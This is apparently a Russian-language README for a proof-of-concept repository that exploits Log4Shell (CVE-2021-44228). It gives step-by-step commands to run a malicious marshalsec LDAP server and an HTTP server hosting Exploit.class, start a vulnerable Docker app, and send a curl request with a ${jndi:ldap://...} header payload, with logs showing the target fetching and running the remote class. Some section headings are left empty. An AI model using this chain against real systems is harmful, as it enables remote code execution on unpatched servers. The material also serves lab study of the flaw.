
PoC для CVE-2021-44228.
Цель этого репозитория — предоставить все компоненты, необходимые для эксплуатации CVE-2021-44228, известной как Log4Shell,
и показать, как её эксплуатировать.
Ингредиенты, необходимые для эксплуатации этой уязвимости, следующие:
Благодарности:
Предварительные требования:
LDAP Server и HTTP ServerHTTP Server1. Перейдите в папку exploit и запустите http-сервер с помощью Python.
python3 -m http.server PORT
LDAP Server1. Перейдите в папку ldap_server и соберите pom.xml
mvn clean package -DskipTests
2. Перейдите в папку target и запустите сервер, указав http_server_ip и http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
Примечание: эта команда запускает вредоносный LDAP-сервер, заставляя его отвечать URI Exploit.class на каждый LDAP-запрос.
Vulnerable applicationЗапустите docker-контейнер уязвимого приложения
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Примечание: по умолчанию уязвимое приложение запускается на порту 8080; вы можете изменить его по своему усмотрению.
Когда vulnerable_application, ldap_server и http_server
запущены, отправьте вредоносный HTTP-запрос на уязвимый сервер.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
vulnerable_application запишет полезную нагрузку в журнал и выполнит LDAP-запрос
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
ldap_server ответит URI Exploit.class
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
http_server получит запрос на Exploit.class
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
Наконец, мы можем убедиться, что эксплойт создал новый файл в файловой системе жертвы. В этом примере необходимо проверить файловую систему docker-контейнера.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app